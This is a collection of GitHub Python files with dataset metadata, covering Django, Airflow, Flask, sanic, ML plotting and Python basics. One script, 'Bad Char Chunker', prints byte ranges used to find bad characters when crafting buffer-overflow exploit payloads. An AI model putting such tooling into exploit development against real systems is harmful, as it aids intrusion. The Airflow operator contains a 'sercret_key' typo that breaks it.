"doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fake_useragent.UserAgent", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 10, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "32675313908", "text": "from django.core.management import BaseCommand\nfrom webdocs.django.openapi_doc import DjangoOPENAPI\nfrom webdocs.exceptions import InvalidDoc\nfrom webdocs.utils import yaml_dumps\n\n\nclass Command(BaseCommand):\n    help = 'generate openapi doc from doc string'\n\n    def add_arguments(self, parser):\n        parser.add_argument('--output',\n                            default='../docs/api.yaml',\n                            help='where to save api doc')\n\n    def handle(self, *args, **options):\n        openapi_doc = DjangoOPENAPI()\n        openapi_doc.from_settings()\n        output = options['output']\n        with open(output, 'wb') as f:\n            dct = openapi_doc.as_dict()\n            f.write(yaml_dumps(dct, encoding='utf-8', allow_unicode=True))\n        try:\n            openapi_doc.validate()\n        except InvalidDoc:\n            self.stderr.write(\n                'Invalid doc. You can get detail in swagger editor')\n", "repo_name": "zlqm/webdocs", "sub_path": "webdocs/django/management/commands/generate_api_doc.py", "file_name": "generate_api_doc.py", "file_ext": "py", "file_size_in_byte": 929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.core.management.BaseCommand", "line_number": 7, "usage_type": "name"}, {"api_name": "webdocs.django.openapi_doc.DjangoOPENAPI", "line_number": 16, "usage_type": "call"}, {"api_name": "webdocs.utils.yaml_dumps", "line_number": 21, "usage_type": "call"}, {"api_name": "webdocs.exceptions.InvalidDoc", "line_number": 24, "usage_type": "name"}]}
{"seq_id": "39625369974", "text": "from pymonad.either import Left, Right\nfrom pymonad.operators import *\nfrom pymonad.operators.maybe import Just\n\n\"\"\"\nbind function list, terminated during error out in the middle.\n重要的 Web Service 编程理念：\n    任何service都返回两种可能性：1. 成功； 2. 失败\n    一旦失败，service立即带着错误信息返回。\n    最终成功：service带着成功结果返回。\n功能块驱动理念：\n    将眼光聚焦在所要完成任务都一系列操作上，将这些操作链接起来（bind）\n\n\"\"\"\ndef isEven(x):\n    if (type(x) not in [int]):\n        reason = ('Error', 'The input value {0} is not an interger.'.format(x))\n        return Left(reason)\n    if (x % 2 == 0):\n        return Right(x)\n    reason = ('Error', \"The x=%d mod of 2 equals 1.\" % x)\n    return Left(reason)\n\n\ndef add5(x):\n    if (x == 0):\n        reason = ('Error', \"The x=0.\")\n        return Left(reason)\n    return Right(x + 5)\n\n\ndef sub4(x):\n    if x >= 10:\n        return Right(x - 4)\n    reason = ('Error', f\"x = {x} < 10\")\n    return Left(reason)\n\n\nprint(\"36:\", isEven(3).bind(add5))\nprint(\"37:\", isEven(4).bind(add5))\nprint(\"38:\", isEven(5).bind(add5).bind(sub4))\nprint(\"39:\", isEven(4).bind(sub4).bind(add5).bind(sub4))\nprint(\"40:\", Right(10).bind(isEven).bind(sub4).bind(add5))\n\n\ndef f1(x):  \n    # define all things need to do in a chain, if-else still in place of each function\n    return isEven(x).bind(sub4).bind(add5).bind(sub4).bind(add5)\n    \nprint(\"47:\", f1(2.3+4j))\nprint(\"48:\", f1(11).value)\nprint(\"49:\", f1(12))\nprint(\"50:\", f1(4))\n", "repo_name": "jwang1122/python", "sub_path": "src/functional/either3.py", "file_name": "either3.py", "file_ext": "py", "file_size_in_byte": 1557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pymonad.either.Left", "line_number": 18, "usage_type": "call"}, {"api_name": "pymonad.either.Right", "line_number": 20, "usage_type": "call"}, {"api_name": "pymonad.either.Left", "line_number": 22, "usage_type": "call"}, {"api_name": "pymonad.either.Left", "line_number": 28, "usage_type": "call"}, {"api_name": "pymonad.either.Right", "line_number": 29, "usage_type": "call"}, {"api_name": "pymonad.either.Right", "line_number": 34, "usage_type": "call"}, {"api_name": "pymonad.either.Left", "line_number": 36, "usage_type": "call"}, {"api_name": "pymonad.either.Right", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "23490518727", "text": "import time\n\nimport whisper\nfrom django.http import HttpResponse\n\nfrom async_operations.thumbnailer.tasks import example_background_job, transcribe_to_model\n\n\ndef transcribe(request, pk):\n    a = whisper.load_model('base')\n    transcribe_to_model.delay(pk)\n    return HttpResponse('Starting')\n\n\ndef index(request):\n    start = time.time()\n    for _ in range(15):\n        example_background_job.delay()\n\n    end = time.time()\n\n    return HttpResponse(f'Executed in {end - start}s')\n\n\ndef index_slow(request):\n    start = time.time()\n    for _ in range(15):\n        example_background_job()\n    end = time.time()\n\n    return HttpResponse(f'Executed in {end - start}s')\n", "repo_name": "qceka88/Python-Web-Basics-and-FrameWork", "sub_path": "Python-Web-Framework/14 Asynhronous Tasks with Django/async_operations/thumbnailer/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 667, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "whisper.load_model", "line_number": 10, "usage_type": "call"}, {"api_name": "async_operations.thumbnailer.tasks.transcribe_to_model.delay", "line_number": 11, "usage_type": "call"}, {"api_name": "async_operations.thumbnailer.tasks.transcribe_to_model", "line_number": 11, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 12, "usage_type": "call"}, {"api_name": "time.time", "line_number": 16, "usage_type": "call"}, {"api_name": "async_operations.thumbnailer.tasks.example_background_job.delay", "line_number": 18, "usage_type": "call"}, {"api_name": "async_operations.thumbnailer.tasks.example_background_job", "line_number": 18, "usage_type": "name"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 22, "usage_type": "call"}, {"api_name": "time.time", "line_number": 26, "usage_type": "call"}, {"api_name": "async_operations.thumbnailer.tasks.example_background_job", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 29, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "35219416286", "text": "from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.contrib.hooks.aws_hook import AwsHook\n\nclass StageToRedshiftOperator(BaseOperator):\n    '''Operator loads any JSON formatted file from S3 bucket to Amazon Redshift tables.\n\n    redshift_conn_id: the Redshift connection which configured in Airflow Connection\n    aws_credentials_id: the AWS credential connection which configured in Airflow Connection for granting access to s3 bucket\n    table: the target Amazon Redshift table where the data is loaded into\n    s3_path: the s3 bucket where the data is extracted from\n\n    '''\n    ui_color = '#358140'\n\n    \"\"\" templated field allows to load timestamped files from S3 based on the execution time and run backfills.\n    template_field is a special property of the operator class to tell the compiler that the s3_key is a variable \n    that contains system context/template variables encoded within the {<system variable name key identifier>}.\n    \"\"\"\n    template_fields = (\"s3_key\",)\n\n    copy_sql = \"\"\"\n        COPY {}\n        FROM '{}'\n        ACCESS_KEY_ID '{}'\n        SECRET_ACCESS_KEY '{}'\n        JSON '{}'\n        REGION '{}'\n    \"\"\"\n\n# Define operators params\n    @apply_defaults\n    def __init__(self,\n                 redshift_conn_id = \"\",\n                 aws_credentials_id = \"\",\n                 table = \"\",\n                 s3_bucket= \"\",\n                 s3_key = \"\",\n                 json_path = \"\",\n                 region=\"\",\n                 *args, **kwargs):\n\n        super(StageToRedshiftOperator, self).__init__(*args, **kwargs)\n        # Map params \n        self.redshift_conn_id = redshift_conn_id\n        self.aws_credentials_id = aws_credentials_id\n        self.table = table\n        self.s3_bucket = s3_bucket\n        self.s3_key = s3_key\n        self.region = region\n        self.json_path = json_path\n\n    def execute(self, context):\n        self.log.info('StageToRedshiftOperator not implemented yet')\n        self.log.info('Getting Redshift credentials')\n        aws_hook = AwsHook(self.aws_credentials_id)\n        credentials = aws_hook.get_credentials()\n\n        self.log.info('Getting Redshift connection')\n        redshift = PostgresHook(postgres_conn_id = self.redshift_conn_id)\n\n        self.log.info('Clearing data from destination Redshift table')\n        redshift.run(\"DELETE FROM {}\".format(self.table))\n\n        self.log.info(\"Copying data from S3 to Redshift\")\n        \"\"\" ` context` argument is Airflow Operator's feature that s3_key needs it to be formatted by. \n        the compiler matches the system variable key identifier name (Eg: execute_date.year) to the key values stored in the **context dictionary.\n        Once matched, the value corresponding to this key is then substituted into the s3_key.\n        \"\"\"\n        rendered_key = self.s3_key.format(**context)\n        s3_path = \"s3://{}/{}\".format(self.s3_bucket, rendered_key)\n        formatted_sql = StageToRedshiftOperator.copy_sql.format(\n            self.table,\n            s3_path,\n            credentials.access_key,\n            credentials.sercret_key,\n            self.json_path,\n            self.region\n        )\n\n        try:\n            redshift.run(formatted_sql)\n        except Exception as e:\n            self.log.info(e)\n            result = redshift.run(\"\"\"\n                SELECT *\n                FROM sys_load_error_detail\n                ORDER BY start_time DESC\n                LIMIT 10;\n                \"\"\")\n            rows = result.fetchall()\n            for row in rows:\n                self.log.info(row)\n\n        self.log.info(f\" Success Copying data from '{s3_path}' to '{self.table}'\")\n        \n        \n\n\n\n\n\n", "repo_name": "saramostafaali/Data-Pipelines-with-Airflow-", "sub_path": "plugins/operators/stage_redshift.py", "file_name": "stage_redshift.py", "file_ext": "py", "file_size_in_byte": 3754, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "airflow.models.BaseOperator", "line_number": 6, "usage_type": "name"}, {"api_name": "airflow.utils.decorators.apply_defaults", "line_number": 33, "usage_type": "name"}, {"api_name": "airflow.contrib.hooks.aws_hook.AwsHook", "line_number": 57, "usage_type": "call"}, {"api_name": "airflow.hooks.postgres_hook.PostgresHook", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "12715174877", "text": "'''\r\nCreated on 12 Apr 2018\r\n\r\n@author: s258115\r\n'''\r\n\r\nprint(\"#### if #####\")\r\nincome = 15000\r\nif income < 10000:\r\n    tax_coefficient = 0.0 #1\r\nelif income < 30000:\r\n    tax_coefficient = 0.2 #2\r\nelif income < 100000:\r\n    tax_coefficient = 0.35 #3\r\nelse:\r\n    tax_coefficient = 0.45 #4  \r\nprint('I will pay:', income * tax_coefficient, 'in taxes')\r\n# ternary operator\r\norder_total = 247 # GBP\r\ndiscount = 25 if order_total > 100 else 0\r\nprint(order_total, discount)\r\n\r\nprint(\"#### for #####\")\r\nfor number in [0, 1, 2, 3, 4]:\r\n    print(number)\r\nfor number in range(5):\r\n    print(number)\r\nlist(range(-10, 10, 4)) # three values: step is added [-10, -6, -2, 2, 6]\r\n  \r\nprint(\"#### sequence #####\")  \r\nsurnames = ['Rivest', 'Shamir', 'Adleman']\r\nfor position in range(len(surnames)): # len in 3\r\n    print(position, surnames[position])\r\nfor surname in surnames: # simpler\r\n    print(surname)\r\nfor position, surname in enumerate(surnames): # use of position. more efficient then len\r\n    print(position, surname)   \r\n    \r\nprint(\"#### iteration #####\")  \r\nprint(\"#### ZIP as better than referencing a position #####\")  \r\npeople = ['Jonas', 'Julio', 'Mike', 'Mez']\r\nages = [25, 30, 31, 39]\r\nnationalities = ['Belgium', 'Spain', 'England', 'Bangladesh']\r\nfor person, age, nationality in zip(people, ages, nationalities): # 3 values and 3 lists\r\n    print(person, age, nationality)\r\n    \r\nprint(\"#### while #####\")  \r\nn = 39\r\nremainders = []\r\nwhile n > 0: #while true\r\n    n, remainder = divmod(n, 2)\r\n    remainders.append(remainder)\r\n    # reassign the list to its reversed copy and print it\r\n    remainders = remainders[::-1] # easy way to get the reversed version of a list (missing start and end parameters, step = -1, produces the same list, from end to start, in reverse order)\r\n    print(remainders)\r\n\r\nprint(\"#### continue and break #####\")  \r\nclass NumberException(Exception):\r\n    pass\r\nfor number in [0, 1, 2, 3, 4]:\r\n    if number == 3: #breaks at 3\r\n        break\r\n    elif number <4: #  prints 0,1,2 (as we broke out at 3)\r\n        print(number)\r\n        continue\r\nprint(\"#### exceptions #####\")  \r\nif number is 3:\r\n    print(\" raise NumberException('exception thrown.')\")\r\n    #raise NumberException('exception thrown.')\r\n   \r\nprint(\"#### primes example loops etc #####\")  \r\nprimes = []\r\nupto = 100\r\nfor n in range(2, upto + 1): # no need for is prime flag\r\n    for divisor in range(2, n):\r\n        if n % divisor == 0:\r\n            break\r\n    else:\r\n        primes.append(n)\r\nprint(primes)\r\n\r\nprint(\"#### infinite count #####\")  \r\nfrom itertools import count\r\nfor n in count(5, 3): # starts from 5 and keeps adding 3 to it until we break\r\n    if n > 20:\r\n        break\r\n    print(n, end=', ') # instead of newline, comma and space\r\nprint()\r\n\r\nprint(\"#### Iterators terminating on the shortest input sequence #####\")  \r\nfrom itertools import compress\r\ndata = range(10)\r\neven_selector = [1, 0] * 10\r\nodd_selector = [0, 1] * 10\r\neven_numbers = list(compress(data, even_selector))\r\nodd_numbers = list(compress(data, odd_selector))\r\nprint(\"odd selector values:\",odd_selector)\r\nprint(\"list data:\",list(data))\r\nprint(\"even numbers:\",even_numbers)\r\nprint(\"odd numbers:\",odd_numbers)\r\n\r\n\r\n", "repo_name": "leesunter/python", "sub_path": "python/src/root/basics/iterations.py", "file_name": "iterations.py", "file_ext": "py", "file_size_in_byte": 3194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "itertools.count", "line_number": 84, "usage_type": "call"}, {"api_name": "itertools.compress", "line_number": 95, "usage_type": "call"}, {"api_name": "itertools.compress", "line_number": 96, "usage_type": "call"}]}
{"seq_id": "25557490345", "text": "import json\nimport pytest\nimport sanic\nfrom sanic_restful_resources import (\n    serializer_middleware, exceptions_middleware, error\n)\n\n\ndef _get_description(body):\n    return json.loads(body)['description']\n\n\ndef test_error_with_details():\n    response = error('Bad Request', {'name': 'Field is required.'}, 400)\n\n    assert response.status == 400\n    assert json.loads(response.body) == {\n        'description': 'Bad Request',\n        'details': {'name': 'Field is required.'},\n    }\n\n\nasync def test_exceptions():\n    @exceptions_middleware\n    async def f():\n        raise Exception\n\n    response = await f()\n    assert response.status == 500\n    assert _get_description(response.body) == 'Internal Server Error'\n\n\nasync def test_serialization():\n    @serializer_middleware\n    async def f():\n        return 'Data', 200, {'X-Name': 'Ann'}\n\n    response = await f()\n\n    assert response.body == b'\"Data\"'\n    assert response.status == 200\n    assert response.headers['X-Name'] == 'Ann'\n\n\nasync def test_serialization_sanic():\n    @serializer_middleware\n    async def f():\n        return sanic.response.json('Bruh')\n\n    response = await f()\n\n    assert response.body == b'\"Bruh\"'\n    assert response.status == 200\n\n\nasync def test_bad_handler_response():\n    @serializer_middleware\n    async def f1():\n        return ()\n\n    with pytest.raises(ValueError):\n        await f1()\n\n    # ---\n\n    @serializer_middleware\n    async def f2():\n        return (0, 0, 0, 0)\n\n    with pytest.raises(ValueError):\n        await f2()\n", "repo_name": "michaelkryukov/sanic-restful-resources", "sub_path": "tests/test_responses.py", "file_name": "test_responses.py", "file_ext": "py", "file_size_in_byte": 1522, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.loads", "line_number": 10, "usage_type": "call"}, {"api_name": "sanic_restful_resources.error", "line_number": 14, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 17, "usage_type": "call"}, {"api_name": "sanic_restful_resources.exceptions_middleware", "line_number": 24, "usage_type": "name"}, {"api_name": "sanic_restful_resources.serializer_middleware", "line_number": 34, "usage_type": "name"}, {"api_name": "sanic.response.json", "line_number": 48, "usage_type": "call"}, {"api_name": "sanic.response", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sanic_restful_resources.serializer_middleware", "line_number": 46, "usage_type": "name"}, {"api_name": "sanic_restful_resources.serializer_middleware", "line_number": 57, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 61, "usage_type": "call"}, {"api_name": "sanic_restful_resources.serializer_middleware", "line_number": 66, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 70, "usage_type": "call"}]}
{"seq_id": "9358296983", "text": "\nfrom distutils.log import debug\nimport numpy as np\nimport pandas as pd\nimport joblib\nfrom distutils.log import debug\nfrom flask import Flask ,render_template,request\nfrom utils import process_new\n\nmodel=joblib.load('model_xgb.pkl')\n#intialize\n\napp=Flask(__name__)\n\n\n\n@app.route('/')\n\ndef home():\n    return  render_template('index.html')\n\n@app.route('/predict', methods=['GET', 'POST'])\n\ndef predict():\n    if request.method=='POST':\n        long=float(request.form['long'])\n        lat=float(request.form['lati'])\n        house_median=float(request.form['h_med'])\n        total_rooms=float(request.form['to_ro'])\n        total_bedrooms=float(request.form['to_bro'])\n        pop=float(request.form['pop'])\n        household=float(request.form['houssh'])\n        median_income=float(request.form['med'])\n        ocean_proximity=request.form['ocean']\n        rooms_per_holds=total_rooms/household\n        bedrooms_per_rooms=total_bedrooms/total_rooms\n        pop_per_hold=pop/household\n        X_new=pd.DataFrame({'longitude':[long],'latitude':[lat],'housing_median_age':[house_median],'total_rooms':[total_rooms],\n        'total_bedrooms':[total_bedrooms],'population':[pop],'households':[household],'median_income':[median_income],\n        'ocean_proximity':[ocean_proximity],'room_per_houseshold':[rooms_per_holds],'bedromms_per_rooms':[bedrooms_per_rooms],\n        'population_per_houseshold':[pop_per_hold]})\n\n        X_processed=process_new(X_new)\n        y_pred_new=model.predict(X_processed)\n        y_pred_new='{:0.4f}'.format(y_pred_new[0])\n        return  render_template('predict.html',pred_vals=y_pred_new)\n    else:\n        return  render_template('predict.html')\n\n@app.route('/about')\n\ndef about():\n    return  render_template('about.html')\n\n#terminal\nif __name__=='__main__':\n    app.run(debug=True)", "repo_name": "abdo1101995/House_Price_prediction_Deployment", "sub_path": "router.py", "file_name": "router.py", "file_ext": "py", "file_size_in_byte": 1814, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "joblib.load", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "call"}, {"api_name": "utils.process_new", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}]}
{"seq_id": "70090341384", "text": "# Cyber-F0x\n# Bad Char Chunker\nimport argparse\n\ndef main(size):\n    bad_chars = [ i for i in range(0,256)]\n    parsed = (list(split(bad_chars,size)))\n    print(\"#Breaking List down in to {} chunks\".format(size))\n    print(\"bad += b\\\"\\\"\")\n    for i, each_chunk in enumerate(parsed):\n        x = \"\"\n        for each_byte in each_chunk:\n            x += (hex(each_byte))\n    print(\"bad +=b\\\"{}\\\" # Chunk {} Size {} bytes\".format(x.replace(\"0x\",\"\\\\x\"),i,len(each_chunk)))\n\n\ndef split(a, n):\n    k, m = divmod(len(a), n)\n    return (a[i * k + min(i, m):(i + 1) * k + min(i + 1, m)] for i in range(n))\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--size',default=16)\n    args = parser.parse_args()\n    main(args.size)", "repo_name": "Cyber-F0x/Bad_Char_Chunker", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 759, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "27127686381", "text": "import numpy             as np\nimport matplotlib.pyplot as plt\nimport torch\n\nfrom matplotlib.patches import Rectangle\n#----------------------------------------------------------------------------#\n#----------------------------------------------------------------------------#\ndef PlotImage(mX, mBBox=None, vLabels=None, lColors=None):\n    if lColors is None:\n        cmap    = plt.get_cmap('tab20b')\n        lColors = [cmap(ii) for ii in np.linspace(0, 1, len(vLabels))]\n    \n    mI      = mX.permute(1,2,0).numpy()\n    fig, ax = plt.subplots(figsize=(4, 4))\n    ax.imshow(mI, extent=[0, 1, 1, 0])\n    # ax.axis(False)\n    \n    if mBBox is None:\n        return fig\n    \n    for vBBox in mBBox:\n        # p, cIdx, xLeft, yDown, xRight, yUp = vBBox\n        cIdx, xCenter, yCenter, W, H = vBBox\n        xLeft = xCenter - W / 2\n        yUp   = yCenter - H / 2\n        \n        cIdx  = int(cIdx)\n        # W     = xRight - xLeft\n        # H     = yUp    - yDown\n        \n        color = lColors[cIdx]\n        oBbox = Rectangle((xLeft, yUp), W, H, linewidth=2, edgecolor=color, facecolor='none')\n        \n        ax.add_patch(oBbox)\n        ax.text(xLeft, yUp, s=vLabels[cIdx], color='w', verticalalignment='bottom', bbox={'color':color}, fontdict={'size':16})\n        \n#         ax.plot(x, y, 's', mew=5, ms=10, color='w')\n#         ax.plot(x, y, 'x', mew=5, ms=10, color=color)\n    \n    return fig\n#----------------------------------------------------------------------------#\n#----------------------------------------------------------------------------#\ndef CreateImage(imageSize, vX, vY, vW, vH, vIdx):\n    mColor   = torch.eye(3)\n    nObjects = vX.shape[0]\n    nColors  = len(mColor)\n\n    v       = torch.linspace(0, 1, imageSize)\n    YY, XX  = torch.meshgrid(v, v)\n    \n    vSize = [3, *XX.shape]\n    mI    = torch.zeros(vSize)\n    mBBox = torch.empty(nObjects, 6)\n    for ii in range(nObjects):\n        #-- Ellipse:\n        vC   = mColor[vIdx[ii]]\n        mE   = ((XX - vX[ii]) / vW[ii]) ** 2 + ((YY - vY[ii]) / vH[ii])**2 <= 1\n        mI  += mE[None,:,:] * vC[:,None,None] / 2\n        \n        #-- BBox:\n        xLeft   = np.maximum(0, vX[ii] - vW[ii])\n        xRight  = np.minimum(1, vX[ii] + vW[ii])\n        yUp     = np.maximum(0, vY[ii] - vH[ii])\n        yDown   = np.minimum(1, vY[ii] + vH[ii])\n        xCenter = (xLeft + xRight) / 2\n        yCenter = (yDown + yUp   ) / 2\n        W       = xRight - xLeft\n        H       = yDown  - yUp\n        lBBox   = [xCenter, yCenter, W, H]\n        \n        mBBox[ii,:] = torch.tensor([1, vIdx[ii], *lBBox])\n    \n    mI                      = torch.clamp(mI, 0, 1)\n    mI[:,mI.max(0)[0] == 0] = 1\n    return mI, mBBox\n#--------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------#      \ndef RandImage(imageSize, nObjects):\n    vX, vY = np.random.rand   (2, nObjects)\n    vW, vH = np.random.rand   (2, nObjects) / 2\n    vIdx   = np.random.randint(3, size=(nObjects,))\n    \n    mI, mBBox = CreateImage(imageSize, vX, vY, vW, vH, vIdx)\n    \n    return mI, mBBox\n    \nimport numpy             as np\nimport matplotlib.pyplot as plt\n#--------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------#\ndef PlotHistory(lHistory):\n\n    vTrainLoss, vTrainAcc, vValLoss, vValAcc, vLR = lHistory\n\n    _, vAx = plt.subplots(1, 3, figsize=(22, 5))\n\n    vAx[0].plot      (vTrainLoss, lw=2, label='Train'      f'={vTrainLoss.min():.4f}')\n    vAx[0].plot      (vValLoss,   lw=2, label='Validation' f'={vValLoss  .min():.4f}')\n    vAx[0].set_title ('Loss')\n    vAx[0].set_xlabel('epoch')\n    vAx[0].set_ylim  (bottom=0)\n    vAx[0].grid      ()\n    vAx[0].legend    ()\n\n    vAx[1].plot      (vTrainAcc, lw=2, label='Train'      f'={vTrainAcc.max():.4f}')\n    vAx[1].plot      (vValAcc,   lw=2, label='Validation' f'={vValAcc  .max():.4f}')\n    vAx[1].set_title ('Metric')\n    vAx[1].set_xlabel('epoch')\n    vAx[1].set_ylim  (top=1)\n    vAx[1].grid      ()\n    vAx[1].legend    ()\n\n    vAx[2].plot      (vLR, lw=2)\n    vAx[2].set_title ('Learning rate')\n    vAx[2].set_xlabel('iteration')\n    vAx[2].grid      ()\n#--------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------#", "repo_name": "FixelAlgorithmsTeam/FixelCourses", "sub_path": "DeepLearningMethods/10_ObjectDetection/DeepLearningFramework/Utils.py", "file_name": "Utils.py", "file_ext": "py", "file_size_in_byte": 4406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.get_cmap", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.eye", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.linspace", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.meshgrid", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.empty", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 81, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}]}
{"seq_id": "12724684028", "text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef historyPlot(history):\r\n    \r\n    plt.figure(figsize = (15,10))\r\n    \r\n    plt.plot(history.history['loss'], label='loss')\r\n    plt.plot(history.history['val_loss'], label='val_loss')\r\n    plt.legend(loc='best')\r\n    plt.show()\r\n    \r\n    return print('Plot history')\r\n\r\ndef plot_prediction_target(Xt, forward_days, ytest, sc):\r\n    \r\n    plt.figure(figsize = (15,10))\r\n    \r\n    for i in range(0,len(Xt)):\r\n        plt.plot([x + i*forward_days for x in range(len(Xt[i]))], sc.inverse_transform(Xt[i].reshape(-1,1)), color='r')\r\n    \r\n    plt.plot(0, sc.inverse_transform(Xt[i].reshape(-1,1))[0], color='r', label='Prediction') #only to place the label\r\n        \r\n    plt.plot(sc.inverse_transform(ytest.reshape(-1,1)), label='Target')\r\n    plt.legend(loc='best')\r\n    plt.show()\r\n    \r\n    return\r\n\r\n\r\ndef plot_Future_Price(y, forward_days, price):\r\n    \r\n    plt.figure(figsize = (15,10))\r\n    \r\n    x=[]\r\n    for i in range(forward_days):\r\n        x.append(i)\r\n    \r\n    plt.plot(x,y, label='Prediction')\r\n    plt.plot(x,price, label='True Price')\r\n    plt.legend(loc='best')\r\n    plt.show()\r\n    \r\n    return\r\n    \r\ndef plot_Predict(Q, W, forward_days):\r\n    \r\n    plt.figure(figsize = (15,10))\r\n    \r\n    x=[]\r\n    for i in range(forward_days):\r\n        x.append(i)\r\n        \r\n    y=[]\r\n    for i in range(forward_days):\r\n        y.append(forward_days+i)\r\n    \r\n    plt.plot(x,Q[:,0], label='Look Back')\r\n    plt.plot(y,W[:,0], label='Forward Days')\r\n    plt.legend(loc='best')\r\n    plt.show()\r\n    \r\n    return\r\n    \r\n    \r\n", "repo_name": "tonylibing/stock_price", "sub_path": "plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 1590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, 